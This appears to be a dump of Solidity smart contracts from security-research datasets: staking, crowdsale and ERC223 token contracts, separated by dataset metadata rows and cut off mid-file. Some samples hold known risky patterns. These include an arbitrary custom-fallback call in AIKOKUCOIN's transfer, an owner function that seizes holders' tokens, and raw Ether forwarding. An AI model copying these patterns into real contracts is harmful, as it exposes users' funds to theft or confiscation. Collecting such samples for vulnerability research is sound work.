function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IMemo is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract ParrotStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IMemo;
IERC20 public immutable Time;
IMemo public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Parrot,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Parrot != address(0));
Time = IERC20(_Parrot);
require(_Memories != address(0));
Memories = IMemo(_Memories);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Time.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(Memories.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
Memories.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = Memories.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = Memories.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Time.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
Memories.safeTransferFrom(msg.sender, address(this), _amount);
Time.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return Memories.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
Memories.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = Memories.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Time.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 80,889 | 14,189 |
8f0492056c7ad74b69ba4318f36a9fe4bea4f414871845d8c70eb37c2105e2e4
| 9,973 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x3d34cc988d583dd2757acaa18a1e90cfab8b7b1d.sol
| 2,549 | 9,852 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract MoldCoin is StandardToken, SafeMath {
string public name = "MOLD";
string public symbol = "MLD";
uint public decimals = 18;
uint public startDatetime; //pre-sell start datetime seconds
uint public firstStageDatetime; //first 120 hours pre-sell in seconds
uint public secondStageDatetime; //second stage, 240 hours of pre-sell in seconds.
uint public endDatetime; //pre-sell end datetime seconds (set in constructor)
address public founder;
address public admin;
uint public coinAllocation = 20 * 10**8 * 10**decimals; //2000M tokens supply for pre-sell
uint public angelAllocation = 2 * 10**8 * 10**decimals; // 200M of token supply allocated angel investor
uint public founderAllocation = 3 * 10**8 * 10**decimals; //300M of token supply allocated for the founder allocation
bool public founderAllocated = false; //this will change to true when the founder fund is allocated
uint public saleTokenSupply = 0; //this will keep track of the token supply created during the pre-sell
uint public salesVolume = 0; //this will keep track of the Ether raised during the pre-sell
uint public angelTokenSupply = 0; //this will keep track of the token angel supply
bool public halted = false; //the admin address can set this to true to halt the pre-sell due to emergency
event Buy(address indexed sender, uint eth, uint tokens);
event AllocateFounderTokens(address indexed sender, uint tokens);
event AllocateAngelTokens(address indexed sender, address to, uint tokens);
event AllocateUnsoldTokens(address indexed sender, address holder, uint tokens);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier duringCrowdSale {
require(block.timestamp >= startDatetime && block.timestamp <= endDatetime);
_;
}
function MoldCoin(uint startDatetimeInSeconds, address founderWallet) {
admin = msg.sender;
founder = founderWallet;
startDatetime = startDatetimeInSeconds;
firstStageDatetime = startDatetime + 120 * 1 hours;
secondStageDatetime = firstStageDatetime + 240 * 1 hours;
endDatetime = secondStageDatetime + 2040 * 1 hours;
}
function price(uint timeInSeconds) constant returns(uint) {
if (timeInSeconds < startDatetime) return 0;
if (timeInSeconds <= firstStageDatetime) return 15000; //120 hours
if (timeInSeconds <= secondStageDatetime) return 12000; //240 hours
if (timeInSeconds <= endDatetime) return 10000; //2040 hours
return 0;
}
function buy() payable {
buyRecipient(msg.sender);
}
function() payable {
buyRecipient(msg.sender);
}
function buyRecipient(address recipient) duringCrowdSale payable {
require(!halted);
uint tokens = safeMul(msg.value, price(block.timestamp));
require(safeAdd(saleTokenSupply,tokens)<=coinAllocation);
balances[recipient] = safeAdd(balances[recipient], tokens);
totalSupply = safeAdd(totalSupply, tokens);
saleTokenSupply = safeAdd(saleTokenSupply, tokens);
salesVolume = safeAdd(salesVolume, msg.value);
if (!founder.call.value(msg.value)()) revert(); //immediately send Ether to founder address
Buy(recipient, msg.value, tokens);
}
function allocateFounderTokens() onlyAdmin {
require(block.timestamp > endDatetime);
require(!founderAllocated);
balances[founder] = safeAdd(balances[founder], founderAllocation);
totalSupply = safeAdd(totalSupply, founderAllocation);
founderAllocated = true;
AllocateFounderTokens(msg.sender, founderAllocation);
}
function allocateAngelTokens(address angel, uint tokens) onlyAdmin {
require(safeAdd(angelTokenSupply,tokens) <= angelAllocation);
balances[angel] = safeAdd(balances[angel], tokens);
angelTokenSupply = safeAdd(angelTokenSupply, tokens);
totalSupply = safeAdd(totalSupply, tokens);
AllocateAngelTokens(msg.sender, angel, tokens);
}
function halt() onlyAdmin {
halted = true;
}
function unhalt() onlyAdmin {
halted = false;
}
function changeAdmin(address newAdmin) onlyAdmin {
admin = newAdmin;
}
function arrangeUnsoldTokens(address holder, uint256 tokens) onlyAdmin {
require(block.timestamp > endDatetime);
require(safeAdd(saleTokenSupply,tokens) <= coinAllocation);
require(balances[holder] >0);
balances[holder] = safeAdd(balances[holder], tokens);
saleTokenSupply = safeAdd(saleTokenSupply, tokens);
totalSupply = safeAdd(totalSupply, tokens);
AllocateUnsoldTokens(msg.sender, holder, tokens);
}
}
contract MoldCoinBonus is SafeMath {
function bonusBalanceOf(address _owner) constant returns (uint256 balance) {
return bonusBalances[_owner];
}
mapping (address => uint256) bonusBalances;
address public admin;
MoldCoin public fundAddress;
uint public rate = 10;
uint public totalSupply = 0;
bool public halted = false; //the admin address can set this to true to halt the pre-sell due to emergency
event BuyWithBonus(address indexed sender, address indexed inviter, uint eth, uint tokens, uint bonus);
event BuyForFriend(address indexed sender, address indexed friend, uint eth, uint tokens, uint bonus);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier validSale {
require(!halted);
require(!fundAddress.halted());
_;
}
function MoldCoinBonus(MoldCoin _fundAddress, uint _rate) {
admin = msg.sender;
fundAddress = _fundAddress;
rate = _rate;
}
function buyWithBonus(address inviter) validSale payable {
require(msg.sender != inviter);
uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp));
uint bonus = safeDiv(safeMul(tokens, rate), 100);
fundAddress.buyRecipient.value(msg.value)(msg.sender); //send Ether to pre-sale contract address
totalSupply = safeAdd(totalSupply, bonus*2);
bonusBalances[inviter] = safeAdd(bonusBalances[inviter], bonus);
bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus);
BuyWithBonus(msg.sender, inviter, msg.value, tokens, bonus);
}
function buyForFriend(address friend) validSale payable {
require(msg.sender != friend);
uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp));
uint bonus = safeDiv(safeMul(tokens, rate), 100);
fundAddress.buyRecipient.value(msg.value)(friend); //send Ether to crowdsale contract address
totalSupply = safeAdd(totalSupply, bonus*2);
bonusBalances[friend] = safeAdd(bonusBalances[friend], bonus);
bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus);
BuyForFriend(msg.sender, friend, msg.value, tokens, bonus);
}
function halt() onlyAdmin {
halted = true;
}
function unhalt() onlyAdmin {
halted = false;
}
function changeAdmin(address newAdmin) onlyAdmin {
admin = newAdmin;
}
function changeRate(uint _rate) onlyAdmin {
rate = _rate;
}
}
| 275,187 | 14,190 |
f35ba21832683056ec35a442f7f87e1b907e9efa2da3dd5444c87e40177a2650
| 18,187 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x84ced40df0d8af5991053cdeb5548d3818d34a68.sol
| 3,558 | 13,911 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract AIKOKUCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "AIKOKUCOIN";
string public symbol = "KOKU";
uint8 public decimals = 8;
uint256 public totalSupply = 90e9 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function AIKOKUCOIN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 197,793 | 14,191 |
47666b4955c83d16d2e67e314e2b13c7afdc9503bd2050f9da9057a1d37f74c5
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/90/903d363e82fa6a3e8e7c7b193c8776ae955120e8_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
